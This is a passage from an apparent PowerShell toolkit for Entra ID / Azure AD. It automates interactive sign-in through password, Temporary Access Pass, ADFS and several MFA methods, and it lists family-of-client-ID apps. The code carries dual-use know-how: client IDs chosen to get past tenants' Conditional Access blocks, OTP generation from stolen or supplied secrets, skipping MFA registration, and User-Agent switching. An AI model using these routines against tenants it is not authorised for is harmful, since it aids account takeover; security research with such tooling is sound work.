<wsu:Expires>$expires</wsu:Expires> </wsu:Timestamp> <wsse:UsernameToken wsu:Id="uuid-$((New-Guid).toString())"> <wsse:Username>$UserName</wsse:Username> <wsse:Password>$Password</wsse:Password> </wsse:UsernameToken> </wsse:Security> </s:Header> <s:Body> <wst:RequestSecurityToken Id='RST0'> <wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType> <wsp:AppliesTo> <wsa:EndpointReference> <wsa:Address>$EndpointAddress</wsa:Address> </wsa:EndpointReference> </wsp:AppliesTo> <wst:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</wst:KeyType> </wst:RequestSecurityToken> </s:Body> </s:Envelope> "@ try { $response = Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Body $body -ErrorAction SilentlyContinue $tokenResponse = $response.Envelope.Body.RequestSecurityTokenResponse if($tokenResponse) { switch($tokenResponse.TokenType) { # DesktopSSOToken when EndpointAddress is: # urn:federation:MicrosoftOnline ("urn:oasis:names:tc:SAML:1.0:assertion") { $token = $tokenResponse.RequestedSecurityToken.Assertion.DesktopSsoToken break } # Passport Compact when EndpointAddress is one of: # officeapps.live.com # sharepoint.com ("urn:passport:compact") { $token = $tokenResponse.RequestedSecurityToken.BinarySecurityToken.'#text' break } # Passport Legacy when EndpointAddress is: # http://Passport.NET/tb ("urn:passport:legacy") { # TODO: Try to figure out how this is encrypted $cipherData = $tokenResponse.RequestedSecurityToken.EncryptedData.CipherData.CipherData $keyName = $tokenResponse.RequestedSecurityToken.EncryptedData.KeyInfo.KeyName $encAlg = $tokenResponse.RequestedSecurityToken.EncryptedData.EncryptionMethod.Algorithm Write-Warning "Unable to decrypt legacy passport token, returning encrypted token" $token = $cipherData break } } return $token } else { $errorDetails = $response.Envelope.Body.Fault.Detail.error.internalerror.text } } catch { $stream = $_.Exception.Response.GetResponseStream() $responseBytes = New-Object byte[] $stream.Length $stream.Position = 0 $stream.Read($responseBytes,0,$stream.Length) | Out-Null $responseXml = [xml][text.encoding]::UTF8.GetString($responseBytes) $errorDetails = $responseXml.Envelope.Body.Fault.Detail.error.internalerror.text } throw $errorDetails } } # Checks whether the client is a FOCI clientid # Apr 25th 2023 function IsFOCI { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [guid]$ClientId, [Parameter(Mandatory=$False)] [int]$FOCI = -1 ) Process { # If FOCI = 1 this is 100% a FOCI client # Is this a known FOCI client? $isFOCI = $Script:FOCIs.ContainsKey($ClientId.ToString()) Write-Verbose "FOCI: Known FOCI $isFOCI, FOCI indicator $FOCI" # Is this a new or deprecated FOCI client? if($isFOCI -and $FOCI -eq 0) { # Found in FOCI list, but no FOCI indicator present Write-Warning "Found deprecated FOCI client $ClientId. Please report at https://github.com/secureworks/family-of-client-ids-research" $isFOCI = $False } elseif ($FOCI -eq 1 -and -not $isFOCI) { # Not found on FOCI list, but FOCI indicator present Write-Warning "Found a new FOCI client $ClientId. Please report at https://github.com/secureworks/family-of-client-ids-research" $Script:FOCIs[$ClientId] = "UNKNOWN" $isFOCI = $True } return $isFOCI } } # Lists FOCI clients # Apr 26th 2023 function Get-FOCIClientIDs { <# .SYNOPSIS Dumps the list of known FOCI client ids .DESCRIPTION Dumps the list of Family of known Client IDs (FOCI) client ids .Parameter Online Get's list online from https://raw.githubusercontent.com/secureworks/family-of-client-ids-research/main/known-foci-clients.csv .Example PS C:\>Get-AADIntFOCIClientIDs client_id application_name --------- ---------------- 00b41c95-dab0-4487-9791-b9d2c32c80f2 Office 365 Management 04b07795-8ddb-461a-bbee-02f9e1bf7b46 Microsoft Azure CLI 1950a258-227b-4e31-a9cf-717495945fc2 Microsoft Azure PowerShell 1fec8e78-bce4-4aaf-ab1b-5451cc387264 Microsoft Teams 26a7ee05-5602-4d76-a7ba-eae8b7b67941 Windows Search 27922004-5251-4030-b22d-91ecd9a37ea4 Outlook Mobile 4813382a-8fa7-425e-ab75-3b753aab3abb Microsoft Authenticator App ab9b8c07-8f02-4f72-87fa-80105867a763 OneDrive SyncEngine d3590ed6-52b3-4102-aeff-aad2292ab01c Microsoft Office 872cd9fa-d31f-45e0-9eab-6e460a02d1f1 Visual Studio af124e86-4e96-495a-b70a-90f90ab96707 OneDrive iOS App 2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8 Microsoft Bing Search for Microsoft Edge 844cca35-0656-46ce-b636-13f48b0eecbd Microsoft Stream Mobile Native 87749df4-7ccf-48f8-aa87-704bad0e0e16 Microsoft Teams - Device Admin Agent cf36b471-5b44-428c-9ce7-313bf84528de Microsoft Bing Search 0ec893e0-5785-4de6-99da-4ed124e5296c Office UWP PWA 22098786-6e16-43cc-a27d-191a01a1e3b5 Microsoft To-Do client 4e291c71-d680-4d0e-9640-0a3358e31177 PowerApps 57336123-6e14-4acc-8dcf-287b6088aa28 Microsoft Whiteboard Client 57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0 Microsoft Flow 66375f6b-983f-4c2c-9701-d680650f588f Microsoft Planner 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 Microsoft Intune Company Portal a40d7d7d-59aa-447e-a655-679a4107e548 Accounts Control UI a569458c-7f2b-45cb-bab9-b7dee514d112 Yammer iPhone b26aadf8-566f-4478-926f-589f601d9c74 OneDrive c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12 Microsoft Power BI d326c1ce-6cc6-4de2-bebc-4591e5e13ef0 SharePoint e9c51622-460d-4d3d-952d-966a5b1da34c Microsoft Edge eb539595-3fe1-474e-9c1d-feb3625d1be5 Microsoft Tunnel ecd6b820-32c2-49b6-98a6-444530e5a77a Microsoft Edge f05ff7c9-f75a-4acd-a3b5-f4b6a870245d SharePoint Android f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34 Microsoft Edge .Example PS C:\>Get-AADIntFOCIClientIDs -Online client_id application_name --------- ---------------- 00b41c95-dab0-4487-9791-b9d2c32c80f2 Office 365 Management 04b07795-8ddb-461a-bbee-02f9e1bf7b46 Microsoft Azure CLI 1950a258-227b-4e31-a9cf-717495945fc2 Microsoft Azure PowerShell 1fec8e78-bce4-4aaf-ab1b-5451cc387264 Microsoft Teams 26a7ee05-5602-4d76-a7ba-eae8b7b67941 Windows Search 27922004-5251-4030-b22d-91ecd9a37ea4 Outlook Mobile 4813382a-8fa7-425e-ab75-3b753aab3abb Microsoft Authenticator App ab9b8c07-8f02-4f72-87fa-80105867a763 OneDrive SyncEngine d3590ed6-52b3-4102-aeff-aad2292ab01c Microsoft Office 872cd9fa-d31f-45e0-9eab-6e460a02d1f1 Visual Studio af124e86-4e96-495a-b70a-90f90ab96707 OneDrive iOS App 2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8 Microsoft Bing Search for Microsoft Edge 844cca35-0656-46ce-b636-13f48b0eecbd Microsoft Stream Mobile Native 87749df4-7ccf-48f8-aa87-704bad0e0e16 Microsoft Teams - Device Admin Agent cf36b471-5b44-428c-9ce7-313bf84528de Microsoft Bing Search 0ec893e0-5785-4de6-99da-4ed124e5296c Office UWP PWA 22098786-6e16-43cc-a27d-191a01a1e3b5 Microsoft To-Do client 4e291c71-d680-4d0e-9640-0a3358e31177 PowerApps 57336123-6e14-4acc-8dcf-287b6088aa28 Microsoft Whiteboard Client 57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0 Microsoft Flow 66375f6b-983f-4c2c-9701-d680650f588f Microsoft Planner 9ba1a5c7-f17a-4de9-a1f1-6178c8d51223 Microsoft Intune Company Portal a40d7d7d-59aa-447e-a655-679a4107e548 Accounts Control UI a569458c-7f2b-45cb-bab9-b7dee514d112 Yammer iPhone b26aadf8-566f-4478-926f-589f601d9c74 OneDrive c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12 Microsoft Power BI d326c1ce-6cc6-4de2-bebc-4591e5e13ef0 SharePoint e9c51622-460d-4d3d-952d-966a5b1da34c Microsoft Edge eb539595-3fe1-474e-9c1d-feb3625d1be5 Microsoft Tunnel ecd6b820-32c2-49b6-98a6-444530e5a77a Microsoft Edge f05ff7c9-f75a-4acd-a3b5-f4b6a870245d SharePoint Android f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34 Microsoft Edge #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [switch]$Online ) Process { if($Online) { try { $FOCIClients = Invoke-RestMethod -UseBasicParsing -Uri "https://raw.githubusercontent.com/secureworks/family-of-client-ids-research/main/known-foci-clients.csv" ConvertFrom-Csv -Delimiter "," -InputObject $FOCIClients } catch { Throw "Unable to get FOCI clients from https://raw.githubusercontent.com/secureworks/family-of-client-ids-research/main/known-foci-clients.csv" } } else { foreach($key in $Script:FOCIs.Keys) { [PSCustomObject]@{ "client_id" = $key "application_name" = $Script:FOCIs[$key] } } } } } # Parses config from login.microsoftonline.com sites # May 28th 2023 function Parse-LoginMicrosoftOnlineComConfig { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Body ) Process { # Try to get the $Config= $c = Get-StringBetween -String $body -Start '$Config=' -End "//]]>" try { # Trim null, carriage return, newline, and ; $c = $c.TrimEnd(@(0x00,0x0a,0x0d,0x3B)) $j = $c | ConvertFrom-Json -ErrorAction SilentlyContinue # Some verbose if($j.serverDetails) { $s = $j.serverDetails Write-Verbose "SERVER: $($s.dc) $($s.ri) $($s.ver.v -join ".")" } if($j.correlationId) { Write-Verbose "Correlation ID: $($j.correlationId)" } if($j.sessionId) { Write-Verbose "Session ID: $($j.sessionId)" } } catch {} return $j } } # Gets authorization code in interactive mode - Supports MFA # May 28th 2023 # OAuth 2.0 Auth code grant flow function Get-AuthorizationCode { [cmdletbinding()] Param( # Use these default values to get the code as some tenants may have blocked others with Conditional Access. # You can then use the refresh_token to get access_token for correct resource and clientid. [Parameter(Mandatory=$False)] [String]$Resource = "https://graph.windows.net", [Parameter(Mandatory=$True)] [String]$ClientId = "1b730954-1685-4b74-9bfd-dac224a7b894", [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [string]$AMR, [Parameter(Mandatory=$False)] [string]$RefreshTokenCredential, [Parameter(Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(Mandatory=$False)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(Mandatory=$False)] [string]$PfxFileName, [Parameter(Mandatory=$False)] [string]$PfxPassword, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP, [Parameter(Mandatory=$False)] [string]$RedirectURI ) Begin { # Function for processing ADFS authentication function Process-ADFSLogin { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(Mandatory=$False)] [String]$UserName, [Parameter(Mandatory=$False)] [Microsoft.PowerShell.Commands.WebRequestSession]$webSession, [Parameter(Mandatory=$True)] [String]$FederationRedirectUrl ) Process { # If authentication type is Federated, we must first authenticate against the identity provider # to fetch SAML token and then get access token from Microsoft Online if($Credentials) { $UserName = $Credentials.UserName } # Only ADFS is supported if(!$FederationRedirectUrl.Contains("/adfs/")) { Throw "Only ADFS federation is supported." } # Loop until we get a correct password or get CTRL+C $passwordOk = $false while(-not $passwordOk) { # Set credentials if($Credentials) { $password = $Credentials.GetNetworkCredential().Password # Set Credentials to $null to avoid authentication loop $Credentials = $null } # Prompt for password else { $password = Read-HostPassword -Prompt "Password" } if($password -eq $null) { return $null } # Set the parameters $body = @{ "UserName" = $UserName "Kmsi" = "" "AuthMethod" = "FormsAuthentication" "Password" = $password } try { # Authenticate $response = Invoke-WebRequest2 -Uri $FederationRedirectUrl -Method POST -Body $body -Headers $Headers -WebSession $webSession [xml]$xmlResponse = $response.content # Extract WS-Fed parameters $body=@{} foreach($input in $xmlResponse.html.body.form.input) { $body[$input.name] = $input.value } $url = "https://login.microsoftonline.com/login.srf" return Invoke-WebRequest2 -Uri $url -WebSession $webSession -Method Post -MaximumRedirection 0 -ErrorAction SilentlyContinue -Body $body -Headers @{"User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"} } catch { $_ # Failed, probably just wrong password } } } } # Function for processing password & TAP function Process-Login { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(Mandatory=$False)] [boolean]$isTAP = $false, [Parameter(Mandatory=$True)] [PSObject]$Config, [Parameter(Mandatory=$False)] [string]$TAP ) Process { # Loop until we get a correct password/TAP or get CTRL+C while(-not $passwordOk) { # Use the provided TAP if($isTAP -and -not [string]::IsNullOrEmpty($TAP)) { $password = $TAP } # Use the provided credentials elseif($Credentials) { $password = $Credentials.GetNetworkCredential().Password } # Prompt for password/TAP else { $pwdPrompt = "Password" if($isTAP) { $pwdPrompt = "Temporary Access Pass" } $password = Read-HostPassword -Prompt $pwdPrompt } # Send the password/TAP if($config.urlPost.startsWith("/")) { $url = "https://login.microsoftonline.com$($config.urlPost)" } else { $url = $config.urlPost } # Create the body $body = @{ "login" = $userName "passwd" = $password "ctx" = $config.sCtx "flowToken" = $config.sFT "canary" = $config.canary "client_id" = $ClientId } if($isTAP) { $body.Remove("passwd") $body["accesspass"] = $password } $response = Invoke-WebRequest2 -Uri $url -WebSession $LoginSession -Method Post -MaximumRedirection 0 -Headers $Headers -Body $body -ErrorAction SilentlyContinue $config = Parse-LoginMicrosoftOnlineComConfig -Body $response.Content # Expired password if($config.pgid -eq "ConvergedChangePassword") { Write-Verbose "ConvergedChangePassword" $newPasswordOk = $false while($newPasswordOk -eq $false) { # Prompt for the password Write-Host "You need to update your password because this is the first time you are signing in, or because your password has expired." $newPassword = Read-HostPassword -Prompt "New password" if([string]::IsNullOrEmpty($newPassword)) { return $null } # SSPR BEGIN $body = @{ "Ctx" = $config.sCtx "FlowToken" = $config.sFT "OldPassword" = $password "NewPassword" = $newPassword } $url = "https://login.microsoftonline.com$($config.urlAsyncSsprBegin)" $ssprResponse = Invoke-RestMethod -UseBasicParsing -Uri $url -WebSession $LoginSession -Method Post -MaximumRedirection 0 -ErrorAction SilentlyContinue -Headers $Headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=UTF-8" # SSPR POLL while($ssprResponse.IsJobPending) { $body = @{ "Ctx" = $ssprResponse.Ctx "FlowToken" = $ssprResponse.FlowToken "CoupledDataCenter" = $ssprResponse.CoupledDataCenter "CoupledScaleUnit" = $ssprResponse.CoupledScaleUnit } $url = "https://login.microsoftonline.com$($config.urlAsyncSsprPoll)" $ssprResponse = Invoke-RestMethod -UseBasicParsing -Uri $url -WebSession $LoginSession -Method Post -MaximumRedirection 0 -ErrorAction SilentlyContinue -Headers $Headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=UTF-8" } # Complexity requirements.. if($ssprResponse.ErrorMessage) { Write-Host $ssprResponse.ErrorMessage -ForegroundColor Red } else { $newPasswordOk = $true } } # SSPR END $body = @{ "ctx" = $ssprResponse.Ctx "flowToken" = $ssprResponse.FlowToken "currentpasswd" = $password "confirmnewpasswd" = $newPassword "canary" = $config.canary } $url = "https://login.microsoftonline.com$($config.urlPost)" $response = Invoke-WebRequest2 -Uri $url -WebSession $LoginSession -Method Post -MaximumRedirection 0 -Headers $Headers -Body $body -ContentType "application/x-www-form-urlencoded" -ErrorAction SilentlyContinue $config = Parse-LoginMicrosoftOnlineComConfig -Body $response.Content } # MFA action required if($config.pgid -eq "ConvergedProofUpRedirect") { Write-Verbose "ConvergedProofUpRedirect" $MFADays = $config.iRemainingDaysToSkipMfaRegistration if($MFADays) { Write-Warning "MFA must be set up in $($MFA) days" # Create the body $body = @{ "LoginOptions" = 1 "ctx" = $config.sCtx "flowToken" = $config.sFT "canary" = $config.canary } $url = $config.urlSkipMfaRegistration $response = Invoke-WebRequest2 -Uri $url -WebSession $LoginSession -MaximumRedirection 0 -Headers $Headers -ErrorAction SilentlyContinue } else { throw "MFA method must be registered." } } # Keep me signed in prompt elseif($config.pgid -eq "KmsiInterrupt") { Write-Verbose "KMSI" # Create the body $body = @{ "LoginOptions" = 1 "ctx" = $config.sCtx "flowToken" = $config.sFT "canary" = $config.canary } $url = "https://login.microsoftonline.com$($config.urlPost)" $response = Invoke-WebRequest2 -Uri $url -WebSession $LoginSession -Method Post -MaximumRedirection 0 -Headers $Headers -Body $body -ContentType "application/x-www-form-urlencoded" -ErrorAction SilentlyContinue } # Some weird redirect issue with non-edge Chrome browsers elseif($config.oPostParams) { Throw "Chrome redirect issue. Try using Edge or non-chrome User-Agent." } # Check the response code switch($response.StatusCode) { # We got an error or MFA prompt 200 { $config = Parse-LoginMicrosoftOnlineComConfig -Body $response.Content # Something severe if($config.strServiceExceptionMessage) { # Wrong redirect URI if($config.strServiceExceptionMessage.StartsWith("AADSTS50011")) { Write-Verbose "Invalid redirect URI, trying to get correct one" $newRedirectURI="" try { $url = "https://login.microsoftonline.com/common/oauth2/authorize?client_id=$ClientID&response_type=code" $response = Invoke-WebRequest2 -Uri $url -WebSession $LoginSession -Method Get -MaximumRedirection 0 -Headers $Headers -ErrorAction SilentlyContinue # Parse from the Location header if($response.StatusCode -eq 302) { $newRedirectURI = $response.Headers.Location.Substring(0,$response.Headers.Location.IndexOf("?")) Write-Verbose "Redirect URI: $newRedirectURI" Write-Warning "Wrong RedirectURI $RedirectURI for client $ClientID." Write-Warning "Try again with switch -RedirectURI $newRedirectURI" } else { Write-Error $config.strServiceExceptionMessage } return $null } catch { throw $config.strServiceExceptionMessage } } else { throw $config.strServiceExceptionMessage } } # Wrong password etc elseif($config.sErrorCode -ne $null) { # When using TAP for MFA, the correct error code is not returned if($config.sErrorCode -eq "InvalidAccessPass") { $AADError = "130503: Your Temporary Access Pass is incorrect. If you don't know your pass, contact your administrator." } # Get error text from Azure AD else { $AADError = Get-Error -ErrorCode $config.sErrorCode } # We don't want to loop with provided password/TAP so throw the error if(($Credentials) -or ($isTAP -and (-not [string]::IsNullOrEmpty($TAP)))) { Throw $AADError } Write-Host $AADError -ForegroundColor Red } # MFA elseif($config.arrUserProofs -ne $null) { $passwordOk = $true $MFA = $true } } # Ok, we got the code! 302 { $passwordOk = $true } } } return [pscustomobject]@{ "MFA" = $MFA "Config" = $Config "Response" = $response } } } } Process { # Remove variables Remove-Variable -Name "LoginSession" -ErrorAction SilentlyContinue Remove-Variable -Name "Config" -ErrorAction SilentlyContinue Remove-Variable -Name "Response" -ErrorAction SilentlyContinue # Load certificate if provided if(!$Certificate -and -not [string]::IsNullOrEmpty($PfxFileName)) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } # Get redirect url if([string]::IsNullOrEmpty($RedirectURI)) { $RedirectURI = Get-AuthRedirectUrl -ClientId $ClientId -Resource $Resource } # Create the url $loginEndPoint = "https://login.microsoftonline.com" $request_id=(New-Guid).ToString() $url="$loginEndPoint/$Tenant/oauth2/authorize?resource=$Resource&client_id=$ClientId&response_type=code&redirect_uri=$RedirectURI&client-request-id=$request_id&prompt=login&scope=openid profile&response_mode=query&sso_reload=True" # Authentication Method References (AMR), "mfa" or "ngcmfa" will enforce MFA # Ref: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-oapx/0fc398ca-88d0-4118-ae60-c3033e396e60 if($AMR) { $url+="&amr_values=$AMR" } # Headers $headers = @{ "User-Agent" = Get-UserAgent } # Set RefreshTokenCredential for device authentication if($RefreshTokenCredential) { $headers["x-ms-RefreshTokenCredential"] = $RefreshTokenCredential $parsedToken = Read-AccessToken -AccessToken $RefreshTokenCredential if($parsedToken.request_nonce) { $url += "&sso_nonce=$($parsedToken.request_nonce)" } } # Make the first request to authorization endpoint. Allow one redirect for sso_nonce $response = Invoke-WebRequest -UseBasicParsing -Uri $url -SessionVariable "LoginSession" -Method get -MaximumRedirection 1 -ErrorAction SilentlyContinue -Headers $Headers $config = Parse-LoginMicrosoftOnlineComConfig -Body $response.Content # Prompt for user name if not provided if($Credentials) { $userName = $Credentials.UserName } else { Write-Host "Logging in to $($config.sCompanyDisplayName)" $userName = Read-Host -Prompt "Enter email, phone, or Skype" } # Get credential type $credType = Get-CredentialType -UserName $userName -FlowToken $config.sFT -OriginalRequest $config.sCtx -webSession $LoginSession # Check whether we are throttling if($credType.ThrottleStatus -eq 1) { Write-Warning "Requests throttled. If authentication fails, wait a minute and try again." } # Does the user exist? if($credType.IfExistsResult -ne 0 -and $credType.IfExistsResult -ne 6 -and $credType.IfExistsResult -ne 5) { Throw "We couldn't find an account with that username." } # Check the credential type (managed vs federated) $isFederated = ![string]::IsNullOrEmpty($credType.Credentials.FederationRedirectUrl) # Do the federated domain authentication if($isFederated) { # Create WS-Fed response $response = Process-ADFSLogin -Credentials $Credentials -UserName $userName -webSession $loginSession -FederationRedirectUrl $credType.Credentials.FederationRedirectUrl switch($response.StatusCode) { # We got an error or MFA prompt 200 { $config = Parse-LoginMicrosoftOnlineComConfig -Body $response.Content # Something severe if($config.strServiceExceptionMessage) { throw $config.strServiceExceptionMessage } # Wrong password etc elseif($config.sErrorCode -ne $null) { # When using TAP for MFA, the correct error code is not returned if($config.sErrorCode -eq "InvalidAccessPass") { $AADError = "130503: Your Temporary Access Pass is incorrect. If you don't know your pass, contact your administrator." } # Get error text from Azure AD else { $AADError = Get-Error -ErrorCode $config.sErrorCode } # We don't want to loop with provided password/TAP so throw the error if($isTAP -and (-not [string]::IsNullOrEmpty($TAP))) { Throw $AADError } Write-Host $AADError -ForegroundColor Red } # MFA elseif($config.arrUserProofs -ne $null) { $MFA = $true } } # Ok, we got the code! 302 { $passwordOk = $true } } #$config = $loginResponse.Config #$MFA = $loginResponse.MFA #$response = $loginResponse.Response } # Do the managed domain authentication else { # Ask which account to use (MSA or AAD) # MSA not supported at the moment, so skip this <# $accountType = 0 # AAD if($credType.IfExistsResult -eq 6) { $options = @( New-Object System.Management.Automation.Host.ChoiceDescription "&1 Work or school account" New-Object System.Management.Automation.Host.ChoiceDescription "&2 Personal account" ) $accountType = $host.UI.PromptForChoice("Choose account","It looks like this email is used with more than one account from Microsoft. Which one do you want to use?",$options,0) } #> # Choose authentication method $authOptions = @() $nAuthOption = 0 $pwdOption = -2 $cbaOption = -2 $tapOption = -2 # Password? if($credType.Credentials.HasPassword -eq $True) { Write-Verbose "Password enabled." $pwdOption = $nAuthOption $nAuthOption++ $authOptions += New-Object System.Management.Automation.Host.ChoiceDescription "&$nAuthOption Password" } # Temporary Access Pass (TAP)? if($credType.Credentials.HasAccessPass -eq $True) { Write-Verbose "Temporary Access Pass enabled." $tapOption = $nAuthOption $nAuthOption++ $authOptions += New-Object System.Management.Automation.Host.ChoiceDescription "&$nAuthOption Temporary Access Pass" } # Certificate Based Authentication (CBA)? if($credType.Credentials.HasCertAuth -eq $True) { Write-Verbose "CBA enabled." if($Certificate) { $cbaOption = $nAuthOption $nAuthOption++ $authOptions += New-Object System.Management.Automation.Host.ChoiceDescription "&$nAuthOption Certificate" } else { Write-Verbose "No certificate provided, skipping CBA." } } # No supported authentication options found :( if($authOptions.Count -eq 0) { Throw "No supported authentication options found!" } # Just one option so use that elseif($authOptions.Count -eq 1) { $authOption = 0 } # If we have TAP and it's available, use that elseif($tapOption -ge 0 -and -not [string]::IsNullOrEmpty($TAP)) { $authOption = $tapOption } # Prompt for options else { $authOption = $host.UI.PromptForChoice("Authentication options","Choose authentication method",[System.Management.Automation.Host.ChoiceDescription[]]$authOptions,0) } switch($authOption) { $pwdOption { $cPWD = $true } $cbaOption { $cCBA = $true } $tapOption { $cTAP = $true } default { return $null } } # PWD & TAP if($cPWD -or $cTAP) { $loginResponse = Process-Login -Credentials $Credentials -Config $config -IsTAP ($cTAP -eq $true) -TAP $TAP if($loginResponse -eq $null) { return $null } $config = $loginResponse.Config $MFA = $loginResponse.MFA $response = $loginResponse.Response } } if($MFA) { # Get MFA types from the config $MFATypes = [ordered]@{} $MFAOptions = @() $m = 1 foreach($mfaType in $config.arrUserProofs) { # Certificate not currently supported if($mfaType.authMethodId -ne "Certificate") { $MFATypes[$mfaType.authMethodId] = $mfaType.display $MFAOptions += New-Object System.Management.Automation.Host.ChoiceDescription "&$m $($mfaType.authMethodId) ($($mfaType.display))" $m++ # If OTPSecret is provided and whe have PhoneAppOTP option, use that if($mfaType.authMethodId -eq "PhoneAppOTP" -and -not [string]::IsNullOrEmpty($OTPSecretKey)) { $mfaMethod = $mfaType.authMethodId } } } if($MFAOptions.Count -eq 0) { Throw "No supported MFA methods found!" } # Ask user to choose MFA method if not automatically chosen if(-not $mfaMethod) { # If there's just one method, use that if($MFATypes.Count -eq 1) { $mfaMethod = [string]$MFATypes.Keys[0] } else { $mfaSelection = $host.UI.PromptForChoice("MFA options","Choose MFA method",$MFAOptions,0) if($mfaSelection -eq -1) { return $null } $p = 0 foreach($key in $MFATypes.Keys) { if($p -eq $mfaSelection) { $mfaMethod = $key break } $p++ } } } # Start the MFA loop $url = $config.urlBeginAuth $body = @{ "AuthMethodId" = $mfaMethod "ctx" = $config.sCtx "flowToken" = $config.sFT "Method" = "BeginAuth" } # TAP has unique MFA flow if($mfaMethod -eq "AccessPass") { $body["AuthMethodId"] = "PhoneAppOTP" } $headers = @{ "User-Agent" = Get-UserAgent "canary" = $config.apiCanary "Content-Type" = "application/json; charset=utf-8" } # SAS/BeginAuth if not TAP if($mfaMethod -eq "AccessPass") { $beginAuth = $true } else { $response = Invoke-RestMethod -UseBasicParsing -Uri $url -WebSession $LoginSession -Method Post -MaximumRedirection 0 -ErrorAction SilentlyContinue -Headers $Headers -Body ($body|ConvertTo-Json) $beginAuth = $response.Success -eq $true } if($beginAuth) { # Prompt for MFA method switch($mfaMethod) { "PhoneAppNotification" { Write-Host "Open your Authenticator app, and enter the number shown to sign in:​​" Write-Host $response.Entropy break } "PhoneAppOTP" { # Use provided OTPSecret if($OTPSecretKey) { Write-Host "Using the provided OTP Secret for MFA." # Calculate OTP using the secret key $OTP = New-AADIntOTP -SecretKey $OTPSecretKey # Strip the spaces $additionalAuthData = $OTP.OTP.Replace(" ","") break } else { $additionalAuthData = Read-Host "Please type in the code displayed on your authenticator app from your device" break } } "OneWaySMS" { $additionalAuthData = Read-Host "We texted your phone $($MFATypes[$mfaMethod]). Please enter the code to sign in" break } "TwoWayVoiceMobile" { Write-Host "We're calling your phone $($MFATypes[$mfaMethod]). Please answer it to continue." break } "TwoWayVoiceAlternateMobile" { Write-Host "We're calling your phone $($MFATypes[$mfaMethod]). Please answer it to continue." break } "AccessPass" { # TAP has a unique flow $loginResponse = Process-Login -Config $config -IsTAP $true -TAP $TAP if($loginResponse -eq $null) { return $null } $config = $loginResponse.Config $MFA = $loginResponse.MFA $response = $loginResponse.Response break } default { Throw "MFA method $mfaMethod not supported." break } } # SAS/EndAuth if($mfaMethod -ne "AccessPass") { for($p = 1;$p -le $config.iMaxPollAttempts ; $p++) { # If OTP or SMS send a single request if(@("PhoneAppOTP","OneWaySMS") -contains $mfaMethod) { $url = $config.urlEndAuth $headers = @{ "User-Agent" = Get-UserAgent "canary" = $config.apiCanary "Content-Type" = "application/json; charset=utf-8" } $body = @{ "AdditionalAuthData" = $additionalAuthData "AuthMethodId" = $mfaMethod "SessionId" = $response.SessionId "FlowToken" = $response.FlowToken "Ctx" = $response.Ctx "Method" = "EndAuth" } $response = Invoke-RestMethod -UseBasicParsing -Uri $url -WebSession $LoginSession -Method Post -MaximumRedirection 0 -ErrorAction SilentlyContinue -Headers $Headers -Body ($body | ConvertTo-Json) } # Poll until we get response or timeout else { $url = "$($config.urlEndAuth)?authMethodId=$mfaMethod&pollCount=$p" $headers = @{ "User-Agent" = Get-UserAgent "x-ms-sessionId" = $response.SessionId "x-ms-flowToken" = $response.FlowToken "x-ms-ctx" = $response.Ctx } $response = Invoke-RestMethod -UseBasicParsing -Uri $url -WebSession $LoginSession -Method Get -MaximumRedirection 0 -ErrorAction SilentlyContinue -Headers $Headers } if($response.Success -eq $true) { # SAS/ProcessAuth $headers = @{ "User-Agent" = Get-UserAgent "Content-Type" = "application/x-www-form-urlencoded" } $url = $config.urlPost $body = @{ "request" = $response.Ctx "mfaAuthMethod" = $mfaMethod "login" = $userName "flowToken" = $response.FlowToken "canary" = $config.canary } $response = Invoke-WebRequest2 -Uri $url -WebSession $LoginSession -Method Post -MaximumRedirection 0 -Headers $Headers -Body $body -ErrorAction SilentlyContinue break } elseif($response.Retry -eq $false) { Throw "$($response.Message) $($response.ResultValue)" } Start-Sleep -Milliseconds $config.iPollingInterval } } } } # Some weird redirect again if($response.Content.Contains("https://device.login.microsoftonline.com")) { Write-Warning "Got an error, try using another User-Agent, current is: $(Get-UserAgent)" throw "Got unexpected redirect to https://device.login.microsoftonline.com" } # Check for errors $config = Parse-LoginMicrosoftOnlineComConfig -Body $response.Content if($config.strServiceExceptionMessage) { Write-Warning "Got an error, try using another User-Agent, current is: $(Get-UserAgent)" throw $config.strServiceExceptionMessage } elseif($config.sErrorCode -ne $null) { $AADError = Get-Error -ErrorCode $config.sErrorCode throw $AADError } $authorizationCode = Parse-CodeFromResponse -Response $response return $authorizationCode } } # May 21st 2024 # Return tenant subscope from Open ID configuration function Get-TenantSubscope { [cmdletbinding()] Param( [Parameter(ParameterSetName='Domain',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='Config',Mandatory=$True)] [PSObject]$OpenIDConfiguration ) Process { # Get Tenant Region subscope from Open ID configuration if($OpenIDConfiguration -eq $null) { $OpenIDConfiguration = Get-OpenIDConfiguration -Domain $Domain } return $OpenIDConfiguration.tenant_region_sub_scope } } # May 21st 2024 # Return tenant login url based on the subscope function Get-TenantLoginUrl { [cmdletbinding()] Param( [Parameter(Mandatory=$false)] [String]$SubScope ) Process { # Use the correct url switch($SubScope) { "DOD" # DoD { return 